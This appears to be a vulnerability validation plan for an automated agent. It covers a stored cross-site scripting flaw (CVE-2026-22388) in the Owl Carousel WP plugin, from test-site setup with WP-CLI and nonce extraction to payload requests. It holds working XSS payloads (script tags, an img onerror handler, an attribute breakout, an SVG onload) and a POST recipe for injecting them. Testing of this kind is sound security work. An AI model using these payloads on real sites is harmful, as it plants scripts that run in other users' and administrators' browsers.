Owl Carousel WP <= 2.2.2 - Authenticated (Editor+) Stored Cross-Site Scripting

This research plan outlines the methodology for validating CVE-2026-22388, a Stored Cross-Site Scripting (XSS) vulnerability in the Owl Carousel WP plugin.

1. Vulnerability Summary

The Owl Carousel WP plugin (versions <= 2.2.2) fails to adequately sanitize input and escape output for carousel settings and slide content. While WordPress typically allows Editors and Administrators to post unfiltered_html, this capability is often disabled in Multi-site environments or via the DISALLOW_UNFILTERED_HTML constant. In these hardened configurations, the plugin should enforce sanitization (e.g., wp_kses or sanitize_text_field), but it fails to do so. This allows an Editor-level user to inject malicious scripts into carousel data, which then executes in the browser of any user (including Administrators) viewing the carousel.

2. Attack Vector Analysis

• Vulnerable Endpoint: WordPress Admin Post Editor (/wp-admin/post.php) or a specific AJAX handler for carousel settings.
• Vulnerable Parameter: Post Meta fields (e.g., slide titles, navigation text, or custom CSS fields) associated with the owl-carousel post type (inferred).
• Authentication Level: Authenticated (Editor or higher).
• Preconditions:
  • The plugin must be active.
  • DISALLOW_UNFILTERED_HTML must be set to true in wp-config.php to simulate the environment where this vulnerability is relevant.

3. Code Flow

1. Entry Point: An Editor updates an existing carousel or creates a new one. The request is sent to post.php (for standard CPT saves) or a plugin-specific AJAX action.
2. Processing: The plugin receives the request. It iterates through carousel settings (e.g., slide_title, nav_text). It uses update_post_meta() or update_option() without applying wp_kses() or sanitize_text_field().
3. Storage: The raw HTML/JavaScript payload is stored in the wp_postmeta or wp_options table.
4. Sink: A user visits a page containing the carousel shortcode (e.g., [owl-carousel-wp id="123"]).
5. Output: The plugin retrieves the data and echoes it directly into the HTML template without using esc_html() or esc_attr().

4. Nonce Acquisition Strategy

Since this exploit requires Editor-level authentication, we must acquire the nonces used for post saving or AJAX requests.

1. Identify the Script Variable: The plugin likely localizes a script in the admin area. We look for a variable like owl_carousel_admin (inferred) or the standard WordPress _wpnonce.
2. Create a Test Carousel: First, use WP-CLI to create a carousel post to ensure the editor page is accessible.

   wp post create --post_type=owl-carousel --post_title="Exploit Test" --post_status=publish
   

3. Navigate and Extract:
   • Use browser_navigate to go to the edit page for that post: /wp-admin/post.php?post=ID&action=edit.
   • Use browser_eval to extract the nonce:

     // Standard WordPress post nonce
     window.document.querySelector('#_wpnonce')?.value
     // Or plugin specific (inferred)
     window.owl_carousel_params?.nonce
     

5. Exploitation Strategy

We will simulate an Editor injecting a script into a carousel title.

1. Setup Credentials: Obtain cookies for an Editor user.
2. Target Field Identification: Identify the specific meta key. Common candidates for this plugin: slide_title, owl_carousel_settings[navText], or description.
3. HTTP Request (Update Post):
   • Tool: http_request
   • URL: https://target.example.com/wp-admin/post.php
   • Method: POST
   • Content-Type: application/x-www-form-urlencoded
   • Body Parameters (inferred):

     action=editpost
     post_ID=[ID]
     _wpnonce=[EXTRACTED_NONCE]
     # The payload injected into a field
     slide_title[0]=<script>alert(document.domain)</script>
     # Or within a serialized settings array
     owl_carousel_settings[navigation_text]=<img src=x onerror=alert(1)>
     

4. Triggering the XSS:
   • Use http_request (GET) to visit the frontend page where the carousel shortcode is embedded.

6. Test Data Setup

1. Harden Environment:

   # Add to wp-config.php
   echo "define( 'DISALLOW_UNFILTERED_HTML', true );" >> /var/www/html/wp-config.php
   

2. Create Users:

   wp user create editor_user editor@example.com --role=editor --user_pass=password123
   

3. Create Content:

   # Create the carousel
   CAROUSEL_ID=$(wp post create --post_type=owl-carousel --post_title="XSS Carousel" --post_status=publish --porcelain)
   # Create a page to display it
   wp post create --post_type=page --post_title="Carousel Page" --post_content="[owl-carousel-wp id='$CAROUSEL_ID']" --post_status=publish
   

7. Expected Results

• The http_request to save the post should return a 302 redirect back to the editor page, indicating success.
• The http_request to the frontend "Carousel Page" should contain the raw payload in the HTML response:

  <div class="owl-slide-title"><script>alert(document.domain)</script></div>
  

• In a browser context, the alert box should trigger.

8. Verification Steps

1. Verify DB Storage: Use WP-CLI to check if the payload is stored raw.

   wp post meta get [CAROUSEL_ID] _owl_carousel_settings
   # Check if the output is sanitized or contains the script
   

2. Check Frontend Output:

   http_request GET "https://target.example.com/carousel-page/" | grep "<script>alert"
   

9. Alternative Approaches

• Settings Page: If the vulnerability is not in the Custom Post Type meta but in a global settings page (e.g., /wp-admin/admin.php?page=owl-carousel-settings), target the options.php endpoint or the plugin's specific admin-ajax.php action (e.g., action=owl_carousel_save_options).
• Payload Variations:
  • Attribute Breakout: "><script>alert(1)</script>
  • Event Handlers: <img src=x onerror=alert(1)> (Useful if some tags are stripped but attributes are not).
• SVG Injection: If the plugin allows uploading icons for carousel navigation, attempt an SVG file containing a script:

  <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>